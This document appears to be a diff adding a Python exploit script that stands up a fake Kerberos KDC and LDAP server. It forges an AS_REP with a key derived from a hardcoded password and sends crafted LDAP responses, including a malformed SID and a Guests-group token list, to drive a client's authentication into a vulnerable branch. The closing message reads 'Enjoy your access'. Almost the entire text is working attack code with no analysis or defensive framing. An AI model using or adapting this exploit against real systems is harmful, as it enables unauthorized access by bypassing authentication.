| 1 | + | import socket |
| 2 | + | import struct |
| 3 | + | import binascii |
| 4 | + | |
| 5 | + | from ldap3.protocol.rfc4511 import SearchResultReference |
| 6 | + | from pyasn1.codec.der import decoder, encoder |
| 7 | + | from pyasn1.codec.ber.encoder import encode |
| 8 | + | from pyasn1.type.univ import noValue |
| 9 | + | from datetime import datetime, timedelta |
| 10 | + | |
| 11 | + | from impacket.krb5 import constants |
| 12 | + | from impacket.krb5.crypto import (Key, Enctype, encrypt, _AES256CTS) |
| 13 | + | from impacket.krb5.asn1 import AS_REQ, AS_REP, ETYPE_INFO2, EncASRepPart |
| 14 | + | |
| 15 | + | from ldap3.protocol.rfc4511 import ( |
| 16 | + | LDAPMessage, MessageID, ProtocolOp, BindResponse, ResultCode, SearchResultDone, |
| 17 | + | SearchResultEntry, LDAPDN, PartialAttributeList, PartialAttribute, |
| 18 | + | AttributeDescription, Vals, AttributeValue |
| 19 | + | ) |
| 20 | + | |
| 21 | + | listen_ip = "0.0.0.0" |
| 22 | + | |
| 23 | + | with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s: |
| 24 | + | # Bind the socket to the port |
| 25 | + | server_address = (listen_ip, 88) |
| 26 | + | s.bind(server_address) |
| 27 | + | |
| 28 | + | while True: |
| 29 | + | print("\n[+] Waiting for incoming Kerberos UDP Request") |
| 30 | + | data, address = s.recvfrom(4096) |
| 31 | + | print("[+] Received connection from {}".format(address)) |
| 32 | + | |
| 33 | + | if data: |
| 34 | + | # Refuse UDP connection with a KRB4KRB_ERR_RESPONSE_TOO_BIG |
| 35 | + | # Details of the response don't really matter such as the domain name |
| 36 | + | payload1 = bytes.fromhex("7e583056a003020105a10302011ea411180f32303232303631303134353030375aa50502030a6c5fa603020134a90b1b095243452e4c4f43414caa1e301ca003020102a11530131b066b72627467741b095243452e4c4f43414c") |
| 37 | + | sent = s.sendto(payload1, address) |
| 38 | + | break |
| 39 | + | |
| 40 | + | s.close() |
| 41 | + | |
| 42 | + | print("[+] Answered Kerberos UDP Authentication Request") |
| 43 | + | |
| 44 | + | # Let's open up port 88 for Kerberos v5 interactions |
| 45 | + | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: |
| 46 | + | print("[+] Waiting for incoming Kerberos TCP Request") |
| 47 | + | s.bind((listen_ip, 88)) |
| 48 | + | s.listen() |
| 49 | + | conn, address = s.accept() |
| 50 | + | with conn: |
| 51 | + | print("[+] Received Kerberos connection from {}".format(address)) |
| 52 | + | while True: |
| 53 | + | recvDataLen = struct.unpack('!i', conn.recv(4))[0] |
| 54 | + | r = conn.recv(recvDataLen) |
| 55 | + | while len(r) < recvDataLen: |
| 56 | + | r += conn.recv(recvDataLen - len(r)) |
| 57 | + | |
| 58 | + | # Let's first parse the AS_REQ |
| 59 | + | asReq = decoder.decode(r, asn1Spec=AS_REQ())[0] |
| 60 | + | |
| 61 | + | # Let's get a couple of things from the initial request required to build further responses |
| 62 | + | nonce = asReq['req-body']['nonce'] |
| 63 | + | realm = str(asReq['req-body']['realm']) |
| 64 | + | username = str(asReq['req-body']['cname']['name-string'][0]) |
| 65 | + | |
| 66 | + | # Do some crypto stuff |
| 67 | + | # salt is composed of the realm concatenated with the username |
| 68 | + | salt = realm + username |
| 69 | + | aesKey = _AES256CTS.string_to_key("Password0", salt, params=None).contents |
| 70 | + | key = Key(Enctype.AES256, aesKey) |
| 71 | + | |
| 72 | + | # Some pre-recoded AS_REP message (encrypted part only) |
| 73 | + | plainText = binascii.unhexlify("7981da3081d7a02b3029a003020112a12204202deb4c8d3c541791c23080abf14d896bc27609e24f80a15911d0720ec83d5237a11c301a3018a003020100a111180f32303232303631383133323432315aa20602040c3c5eb6a311180f32303337303931343032343830355aa40703050000610000a511180f32303232303631383133323432315aa611180f32303232303631383133323432315aa711180f32303232303631383233323432315aa90c1b0a4841434b2e4c4f43414caa1f301da003020102a11630141b066b72627467741b0a4841434b2e4c4f43414c") |
| 74 | + | |
| 75 | + | # Use some random confounder |
| 76 | + | confounder = binascii.unhexlify("13371337133713371337133713371337") # first 16 bytes of an AS_REP message |
| 77 | + | |
| 78 | + | encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0] |
| 79 | + | |
| 80 | + | # Modify nonce to match the client's nonce |
| 81 | + | encASRepPart['nonce'] = int(nonce) |
| 82 | + | |
| 83 | + | # Change timestamps to not screw any clock diffs |
| 84 | + | my_date = datetime.now() |
| 85 | + | current_timestamp = my_date.strftime('%Y%m%d%H%M%SZ') |
| 86 | + | encASRepPart['authtime'] = current_timestamp |
| 87 | + | encASRepPart['last-req'][0]['lr-value'] = current_timestamp |
| 88 | + | |
| 89 | + | # this is to make sure no clock scew occurs, because if starttime isn't present, the KDC's time is taken |
| 90 | + | # see RFC4120 3.1.3 at https://datatracker.ietf.org/doc/html/rfc4120#page-48 |
| 91 | + | encASRepPart['starttime'] = noValue |
| 92 | + | |
| 93 | + | # Endtime + 10 hours |
| 94 | + | newEndTime = datetime.now() + timedelta(hours=10) |
| 95 | + | encASRepPart['endtime'] = newEndTime.strftime('%Y%m%d%H%M%SZ') |
| 96 | + | |
| 97 | + | # Modify realms |
| 98 | + | encASRepPart['srealm'] = realm |
| 99 | + | encASRepPart['sname']['name-string'][1] = realm |
| 100 | + | |
| 101 | + | # encrypt again |
| 102 | + | final = encrypt(key, 3, encoder.encode(encASRepPart), confounder) |
| 103 | + | |
| 104 | + | # Construct an AS_REP |
| 105 | + | asRep = AS_REP() |
| 106 | + | asRep['pvno'] = 5 |
| 107 | + | asRep['msg-type'] = int(constants.ApplicationTagNumbers.AS_REP.value) |
| 108 | + | |
| 109 | + | asRep['padata'] = noValue |
| 110 | + | asRep['padata'][0] = noValue |
| 111 | + | asRep['padata'][0]['padata-type'] = constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value |
| 112 | + | |
| 113 | + | etype2 = ETYPE_INFO2() |
| 114 | + | etype2[0] = noValue |
| 115 | + | etype2[0]['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value |
| 116 | + | etype2[0]['salt'] = salt |
| 117 | + | encodedEtype2 = encoder.encode(etype2) |
| 118 | + | asRep['padata'][0]['padata-value'] = encodedEtype2 |
| 119 | + | |
| 120 | + | asRep['crealm'] = realm |
| 121 | + | |
| 122 | + | asRep['cname'] = noValue |
| 123 | + | asRep['cname']['name-type'] = constants.PrincipalNameType.NT_PRINCIPAL.value |
| 124 | + | asRep['cname']['name-string'] = noValue |
| 125 | + | asRep['cname']['name-string'][0] = username |
| 126 | + | |
| 127 | + | asRep['ticket'] = noValue |
| 128 | + | asRep['ticket']['tkt-vno'] = constants.ProtocolVersionNumber.pvno.value |
| 129 | + | asRep['ticket']['realm'] = realm |
| 130 | + | asRep['ticket']['sname'] = noValue |
| 131 | + | asRep['ticket']['sname']['name-string'] = noValue |
| 132 | + | asRep['ticket']['sname']['name-string'][0] = "krbtgt" |
| 133 | + | asRep['ticket']['sname']['name-type'] = constants.PrincipalNameType.NT_SRV_INST.value |
| 134 | + | asRep['ticket']['sname']['name-string'][1] = realm |
| 135 | + | |
| 136 | + | asRep['ticket']['enc-part'] = noValue |
| 137 | + | asRep['ticket']['enc-part']['kvno'] = 2 |
| 138 | + | asRep['ticket']['enc-part']['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value |
| 139 | + | # Using a pre-encrypted ticket here. The ticket itself doesn't matter since it's not used |
| 140 | + | asRep['ticket']['enc-part']['cipher'] = binascii.unhexlify("3dbe1e264dc1c7c3c4fc619efbfb49ee8c10b76d6c312d10aab3d7e6b00ccbaa9d3b9ed706d79d9124920b36b07e67dbe709806a24b9edc12ed40f5cd835c14369763468008863ba7af2d94196de1e89d06bb58bad7dab97cc7a107818983546e9c0d9c115722f38207ad8ea94afdebc9b42326f2fd14a9b629f970617d9ac15009fcabd99c89471eb91fc8b07efadbcc6fb0d6af813ca452481d5ee6c530a0a54bdeacd96f2913adcbca80ab62396ce8f8734bf18c582035ac614257c41fec115989d73e8ef5587b1cadcb184694dd3c3cee1cb8d0e0b8019f9444f0de31bf4c2acbaecd4935ddb40cbe9ad34376289e4a82757f013f9686165e7b02846f162bae705ca02429068dd5b2f450e36a94b27f7cd30c36537fbbedaea6ee00431b7c8fbdda5cdf943790e9b82c59c95b95f9de7d6639bdba0c3dadf3b3bd4a207386bb9cfa06e539656d57796a8e28ddecca94af04348e3edb1833721c17fe4040ab4975a41a1a40ae67e87d00740c417cd7d915e2185c66861e32648489227b9e344c27c3290d67c9c8cb507646c77ef0fdbc7d527802b11b693b6cd12f393d5c9737ed1dead9fa769994b7c0c753d17f676b767334e898f52f496e6f4f46f57592d291f3425e5bb12fa02b352989dacc3746d1ef1690bb6c8b61cefb5560bdcf956af1b975c838df6d65118aa7306e39f3076780b4b450cf88b39e75fb13fa325e82cede2e9bab8eba0e0a5da73806eb174c85001240b2df27c5f732ca17943b6be6153e1c871ddd3c0fab49bca9d1218e5014a70c73399817efe7016df206ad42643e478656a700709f654f161366057c2fcdc61030b3c6ff562e5b702224d3720153b32f92c1c86f6500df17f5cce3b7d762a31fea8cc0ffb80062c36f46be5d0905c170ebf46d78cc7dc0644ca72ed01f8b561980de786441b595941fe5b3fde09b7945780d5fbf175bdd7512708af481dc1bac50d845b869b5afaf71de31efd0856df5b1283511537057618fd6251cacd8796723c4a7456fd180c04c2e87cc74e073e6e9992936e98aec4216e6a2da5423204f3a4c9853b0ce7d10847d898b5ba7c6a2c0a38f545da25410c9e94bb63d992850ef54733056ceec9e3a7256a935df1aee76000e0e388826c48c769c21f1767ffa468438a76d91c8ad152368a91c07512b6b4b0f6dfafbdeb3e2e15d3ea6e1aa9f5cfab0b0299bc100e38f1e40c8b3e0c993303a728ec4e21467492e56b64e489a2da387a80c432d04a58d05c27609a9ce085935417f3b219fc9bffc47433611ee50502911467ea843eef815c3f2593c12fd126228bcb0d57c7220f7e70719ab011f5b650f91540984d9c78dbf72852e836d833c5cc7b265311b593cf1d5b6c523829e74b3f939c291b7ceff9231e2cb39f035e3d44dfc720510b3bffdf12fb9090b03acdaa9f04295dc62d3d110e92461fcf66a0aa36543f2cc38114de298e3b6d9c40d283677a6cf2246860a931") |
| 141 | + | |
| 142 | + | asRep['enc-part'] = noValue |
| 143 | + | asRep['enc-part']['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value |
| 144 | + | asRep['enc-part']['kvno'] = 2 |
| 145 | + | asRep['enc-part']['cipher'] = final |
| 146 | + | |
| 147 | + | encodedASREP = encoder.encode(asRep, asn1Spec=AS_REP()) |
| 148 | + | |
| 149 | + | # We need to prepend the packet with its length |
| 150 | + | lenOfASREP = struct.pack('>I', len(encodedASREP)) |
| 151 | + | |
| 152 | + | final_payload = lenOfASREP + encodedASREP |
| 153 | + | |
| 154 | + | conn.send(final_payload) |
| 155 | + | print("[+] Kerberos AS_REP sent!") |
| 156 | + | |
| 157 | + | s.close() |
| 158 | + | break |
| 159 | + | |
| 160 | + | |
| 161 | + | def SearchResultDone_request(messageID): |
| 162 | + | srd = SearchResultDone() |
| 163 | + | srd['resultCode'] = ResultCode('success') |
| 164 | + | srd['matchedDN'] = '' |
| 165 | + | srd['diagnosticMessage'] = '' |
| 166 | + | msg = LDAPMessage() |
| 167 | + | msg['messageID'] = MessageID(messageID) |
| 168 | + | msg['protocolOp'] = ProtocolOp().setComponentByName('searchResDone', srd) |
| 169 | + | return srd |
| 170 | + | |
| 171 | + | |
| 172 | + | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: |
| 173 | + | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
| 174 | + | s.bind((listen_ip, 389)) |
| 175 | + | s.listen() |
| 176 | + | conn, address = s.accept() |
| 177 | + | |
| 178 | + | with conn: |
| 179 | + | print("[+] Received LDAP connection from {}".format(address)) |
| 180 | + | while True: |
| 181 | + | r = conn.recv(2048) |
| 182 | + | |
| 183 | + | # First get the messageId |
| 184 | + | ldap_resp, _ = decoder.decode(r, asn1Spec=LDAPMessage()) |
| 185 | + | messageID = ldap_resp['messageID'] |
| 186 | + | |
| 187 | + | if messageID == 1: |
| 188 | + | print("[+] Sending successful bindResponse") |
| 189 | + | res = BindResponse() |
| 190 | + | res['resultCode'] = ResultCode('success') |
| 191 | + | res['matchedDN'] = '' |
| 192 | + | res['diagnosticMessage'] = '' |
| 193 | + | |
| 194 | + | msg = LDAPMessage() |
| 195 | + | msg['messageID'] = MessageID(messageID) |
| 196 | + | msg['protocolOp'] = ProtocolOp().setComponentByName('bindResponse', res) |
| 197 | + | data = encode(msg) |
| 198 | + | conn.send(data) |
| 199 | + | |
| 200 | + | elif messageID == 2: |
| 201 | + | print("[+] Sending searchResEntry results #1 to return invalid user SID to reach the vulnerable code branch") |
| 202 | + | res = SearchResultEntry() |
| 203 | + | res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local') |
| 204 | + | |
| 205 | + | res['attributes'] = PartialAttributeList() |
| 206 | + | res['attributes'][0] = PartialAttribute() |
| 207 | + | res['attributes'][0]['type'] = AttributeDescription('objectSid') |
| 208 | + | res['attributes'][0]['vals'] = Vals() |
| 209 | + | # translates to SID S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295 |
| 210 | + | res['attributes'][0]['vals'][0] = AttributeValue(b'\x01\x05\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff') |
| 211 | + | |
| 212 | + | msg1 = LDAPMessage() |
| 213 | + | msg1['messageID'] = MessageID(messageID) |
| 214 | + | msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res) |
| 215 | + | |
| 216 | + | res = SearchResultReference() |
| 217 | + | res.setComponentByPosition(0, 'ldap://hack.local/CN=Configuration,DC=hack,DC=local') |
| 218 | + | msg2 = LDAPMessage() |
| 219 | + | msg2['messageID'] = MessageID(messageID) |
| 220 | + | msg2['protocolOp'] = ProtocolOp().setComponentByName('searchResRef', res) |
| 221 | + | |
| 222 | + | # Let's put the LDAPMessages together |
| 223 | + | data = encode(msg1) + encode(msg2) + encode(SearchResultDone_request(messageID)) |
| 224 | + | conn.send(data) |
| 225 | + | elif messageID == 3: |
| 226 | + | print("[+] Sending searchResEntry results #2 returning a dummy user record") |
| 227 | + | res = SearchResultEntry() |
| 228 | + | res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local') |
| 229 | + | |
| 230 | + | res['attributes'] = PartialAttributeList() |
| 231 | + | res['attributes'][0] = PartialAttribute() |
| 232 | + | res['attributes'][0]['type'] = AttributeDescription('distinguishedName') |
| 233 | + | res['attributes'][0]['vals'] = Vals() |
| 234 | + | res['attributes'][0]['vals'][0] = AttributeValue('CN=mrtuxracer,CN=Users,DC=hack,DC=local') |
| 235 | + | msg1 = LDAPMessage() |
| 236 | + | msg1['messageID'] = MessageID(messageID) |
| 237 | + | msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res) |
| 238 | + | |
| 239 | + | # Let's put the LDAPMessages together |
| 240 | + | data = encode(msg1) + encode(SearchResultDone_request(messageID)) |
| 241 | + | conn.send(data) |
| 242 | + | elif messageID == 4: |
| 243 | + | print("[+] Sending searchResEntry results #3 exploiting the well-known 'Guests' SID") |
| 244 | + | # Returns SIDs S-1-5-32-546 (Guests), S-1-5-32-545 (Users) and a random SID for Domain Users |
| 245 | + | res = SearchResultEntry() |
| 246 | + | res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local') |
| 247 | + | |
| 248 | + | res['attributes'] = PartialAttributeList() |
| 249 | + | res['attributes'][0] = PartialAttribute() |
| 250 | + | res['attributes'][0]['type'] = AttributeDescription('tokenGroups') |
| 251 | + | res['attributes'][0]['vals'] = Vals() |
| 252 | + | res['attributes'][0]['vals'][0] = AttributeValue( |
| 253 | + | b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x22\x02\x00\x00') # S-1-5-32-546 (Guests) |
| 254 | + | res['attributes'][0]['vals'][1] = AttributeValue( |
| 255 | + | b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00') # S-1-5-32-545 (Users) |
| 256 | + | res['attributes'][0]['vals'][2] = AttributeValue( |
| 257 | + | b'\x01\x05\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff') # random sid |
| 258 | + | msg1 = LDAPMessage() |
| 259 | + | msg1['messageID'] = MessageID(messageID) |
| 260 | + | msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res) |
| 261 | + | |
| 262 | + | # Let's put the LDAPMessages together |
| 263 | + | data = encode(msg1) + encode(SearchResultDone_request(messageID)) |
| 264 | + | conn.send(data) |
| 265 | + | |
| 266 | + | print("[+] Exploit done. Enjoy your access :-)") |
| 267 | + | s.close() |
| 268 | + | exit(0) |